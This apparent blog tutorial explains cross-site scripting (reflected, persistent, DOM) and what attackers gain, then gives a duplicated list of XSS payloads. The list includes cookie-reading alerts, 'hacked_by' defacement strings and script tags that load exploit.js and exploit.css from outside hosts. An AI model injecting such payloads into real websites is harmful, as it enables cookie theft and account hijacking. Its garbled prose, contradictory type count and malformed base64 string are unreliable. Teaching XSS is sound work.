What is Cross Site Scripting?
Cross-Site scripting also
known as XSS. XSS is one of the
most common vulnerable web attacks. XSS loopholes target scripts embedded in a
page which are executed on the client-side web browser rather than on the server-side.
XSS is internet security loopholes of client-side scripting languages such as
HTML, JavaScript PHP. The approach of XSS is to use client-side scripts of a
web application to execute in the manner desirable by the attacker. Such as administration
can embed a script in a page which can be executed every time the page is
loaded
XSS is the most
common security loophole in website today. This should not be the case as the
XSS is very easy to find out and easy to fix also. XSS loopholes can have result
such as tampering and sensitive data theft.
Concepts of XSS
- XSS is a Web-based attack acted on vulnerable Website and web application
- In XSS attacks, the victim is the user who is browsing that webpage.
- In XSS attacks, malevolent content is delivered to users using JavaScript
Elaborate Cross-Site Scripting
An
XSS vulnerability when Web-site take data from users and dynamically include
without first properly validating the data.
XSS vulnerabilities allow an attacker
to execute a script and display content in a victim user's browser XSS attack
leads to an attacker controlling the victim’s browser or account on the
vulnerable Web site and application. Also XSS is enabled by the vulnerable
pages in a Web application. The command of an XSS vulnerability lies in the
fact that the infected code executes in the vulnerable page of the victim's
session, allowing the hacker to bypass easily security restrictions.
XSS Attack Examples
There are many ways in which an attacker can attract
a victim into starting a reflective XSS request. Example, the attacker could
send the victim a misleading email with a link containing infected JavaScript.
If the victim clicks on the link, the HTTP request is started from the victim's
browser and sent to the vulnerable Web application. The malicious JavaScript is
then diverted back to the victim's browser, where it is used in the context of
the victim user's session.
Types of Cross Site Scripting
Attacks
XSS
attacks are almost always classified into 2 types:
1.
Non-persistent
(temporary method)
2.
Persistent (stored method)
3.
DOM.
4.
Filter Evasion Techniques.
5.
Reflected methods
Persistent XSS
Attack
Suppose a Web page that allows users to enter their name which is displayed on each user’s profile page. The page stores each user name in a local database. An attacker notices that the Web application fails to clean the user name field and inputs infected JavaScript. When other users view the attacker’s profile page, the infected script automatically executes in the context of their session.
When hacker achieve in exploiting XSS
vulnerabilities, they can approach to account stuff. They can also diffusion
Web worms or access the victim’s computer and view the victim’s browser history
or control the system remotely. After gaining control to the victim’s system, hacker
can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, a hacker can do
By exploiting XSS vulnerabilities, a hacker can do
·
Hijack an account
·
Spread Web worms
·
use browser history
·
Control the browser remotely
·
Scan and attack website and web applications
Then we have some
scripting codes over there to implement the persistent XSS injection.
<script>alert(’hacked_by_jaggikhanna’);</script>
<script>alert(“hacked_by_jaggikhanna’’)</script>
<script>alert(document.cookie);</script>
<script>alert("jaggikhanna");</script>
<script src="http://www.jaggikhanna.com/exploit.js"></script>
<img src="javascript:alert(‘jaggi');">
<iframe src='vbscript:alert("hacked_by_jaggi’")'>
<body onload="alert(' hacked_by_jaggi’');">
<a href="#" onmouseover="alert(' hacked_by_jaggi’');">Cool link</a>
<input type="text" size="20" onfocus="alert(' hacked_by_jaggi’');">
<span style="background-image:url(javascript:alert(' hacked_by_jaggi’'))">
<span style="x:expression(alert(' hacked_by_jaggi’'))">
<link rel="stylesheet" href="http://www.jaggi.com/exploit.css">
<meta http-equiv="refresh" content="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFgorvamNTJyk7PC9zY3JpcHQ+">
<script>alert(“hacked_by_jaggikhanna’’)</script>
<script>alert(document.cookie);</script>
<script>alert("jaggikhanna");</script>
<script src="http://www.jaggikhanna.com/exploit.js"></script>
<img src="javascript:alert(‘jaggi');">
<iframe src='vbscript:alert("hacked_by_jaggi’")'>
<body onload="alert(' hacked_by_jaggi’');">
<a href="#" onmouseover="alert(' hacked_by_jaggi’');">Cool link</a>
<input type="text" size="20" onfocus="alert(' hacked_by_jaggi’');">
<span style="background-image:url(javascript:alert(' hacked_by_jaggi’'))">
<span style="x:expression(alert(' hacked_by_jaggi’'))">
<link rel="stylesheet" href="http://www.jaggi.com/exploit.css">
<meta http-equiv="refresh" content="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFgorvamNTJyk7PC9zY3JpcHQ+">
Normally put, XSS mix the injection of infected code
into a website. It is the most general method of attack at the time, mostly big
sites will contain at least one XSS vulnerability page. However, there is more
than one type of XSS available but the most common type known as "none
persistent" XSS.
